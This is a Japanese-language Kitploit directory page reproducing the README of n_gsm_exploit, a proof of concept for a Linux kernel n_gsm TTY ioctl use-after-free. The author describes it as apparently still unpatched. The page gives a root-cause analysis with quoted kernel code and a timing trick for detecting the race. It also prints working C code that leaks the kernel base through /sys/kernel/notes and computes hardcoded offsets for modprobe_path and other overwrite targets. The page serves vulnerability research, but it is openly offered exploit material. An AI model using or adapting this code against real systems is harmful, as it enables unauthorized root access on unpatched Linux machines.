Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
n_gsm_exploit — Linuxカーネル n_gsm TTY ioctl の use-after-free 脆弱性を悪用する PoC: 競合状態の分析、カーネルベースのリーク、ヒープスプレー、RIP ハイジャック、任意書き込み、および modprobe_path による権限昇格。 | Kitploit
ツール/GitHubGitHub/gmh5225/n_gsm_exploit
特権昇格メモリフォレンジック脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

Linuxカーネル n_gsm TTY ioctl の use-after-free 脆弱性を悪用する PoC: 競合状態の分析、カーネルベースのリーク、ヒープスプレー、RIP ハイジャック、任意書き込み、および modprobe_path による権限昇格。

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

これはまだ0-dayのようです。脆弱性が修正される前にこのエクスプロイトを公開するつもりはありませんでしたが、同じ脆弱性を発見した別の研究者によって0-dayエクスプロイトが公開されたため、私のコードも公開しました。研究目的でのみ使用してください。

RCA

  • LinuxカーネルのTTYはGSM 07.10多重化プロトコルをサポートしています。
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • GSMに対してioctlが要求されると、カーネル内で以下の関数が実行されます:

[1] GSMIOC_SETCONF: GSMの設定をリセットします。

[2] GSMIOC_GETCONF_DLCI: GSMに関連付けられたDLCI設定を取得します。

[3] GSMIOC_SETCONF_DLCI: GSMに関連付けられたDLCI設定を変更します。

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • まず、GSM の設定を変更する GSMIOC_SETCONF を検討します。

  • [1] GSM の現在の設定が新しい設定と異なる場合、need_restart が true に設定されます。

    [2] need_restart が true の場合、現在の GSM は gsm_cleanup_mux を通じて終了されます。

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] GSM が所有するすべての DLCI は gsm_dlci_release を通じて解放されます。

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • その後、関数は次の順序で呼び出されます:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] Use-After-Free(UAF)を防ぐため、NULL が gsm->dlci[addr] に代入されます。

    [2] その後、gsm->dlci[addr] は kfree を使用して解放されます。

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • GSM が所有する DLCI の設定値を変更する GSMIOC_SETCONF_DLCI を見てみましょう。

  • [1] ユーザーからアドレス (addr) を含む DLCI 設定を読み取ります。

    [2] gsm->dlci[addr] を参照します。

    [3] gsm_dlci_config を呼び出して DLCI の設定を変更します。

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] ユーザーが渡したオプションに基づいて need_open を true に設定します。

[2] dlci->state が DLCI_CLOSED になるまで待機します。

[3] gsm->initiator のみが true の場合、DLCI を再起動するために gsm_dlci_begin_open 関数が呼び出されます。

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

脆弱性

[1] ロックなしで gsm->dlci にアクセスします。

[1] gsm_dlci_config は dlci にアクセスします。GSMIOC_SETCONF により gsm_cleanup_mux が呼び出された場合、競合状態によって Use-After-Free (UAF) が発生する可能性があります。

  • 通常の状況では、条件はごく短時間で満たされ、wakeup が呼び出されます。
  • UAF が発生した場合、ユーザーレベルから別の IOCTL を要求して wakeup ルーチンを呼び出さない限り、無限待機に入ります。
  • したがって、攻撃者は IOCTL が完了するまでの時間を測定することで、UAF がトリガーされたかどうかを判断できます。
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • wait_event_interruptible での待機中に、GSM が threadFunction2 によって再起動されます。
    • GSM が参照する DLCI が kfree され、wait_event_interruptible が参照する DLCI も kfree されます。
    • このようなシナリオでは、IOCTL の完了に長い時間がかかるため、ユーザー空間から Use-After-Free (UAF) が発生したことを容易に検出できます。

カーネルベースのリーク

  • カーネルの hypercall_page のアドレスは /sys/kernel/notes に書き込まれており、一般ユーザーが読み取り可能です。したがって、攻撃者はこのファイルを読み取ることでカーネルベースをリークできます。
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;

    file = fopen(filePath, "rb");
    if (!file) {
        perror("File open failed");
        return EXIT_FAILURE;
    }
    int count = 0;
    unsigned long hypercall_page=0;
    while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
        for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
            if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
                if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
                    uint64_t value;
                    memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
                    if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
                        hypercall_page=value;
                        break;
                    }
                }
            }
        }
    }
    if(hypercall_page==0){
        printf("fail to get hypercall_page\\n");
        exit(1);
    }
    kernel_base = hypercall_page - 0x1119000;
    modprobe_path = kernel_base + 0x23d8960;
    kernfs_pr_cont_buf = kernel_base +0x3910d00;
    __rb_free_aux = kernel_base + 0x37ac90;
    perf_aux_output_end = kernel_base + 0x37bf20;
    
    printf("hypercall_page: 0x%lx\\n", hypercall_page);
    printf("kernel_base = 0x%lx\\n",kernel_base);
    printf("modprobe_path = 0x%lx\\n",modprobe_path);
    printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
    printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
    
    fclose(file);
    return EXIT_SUCCESS;
}
ツールをダウンロード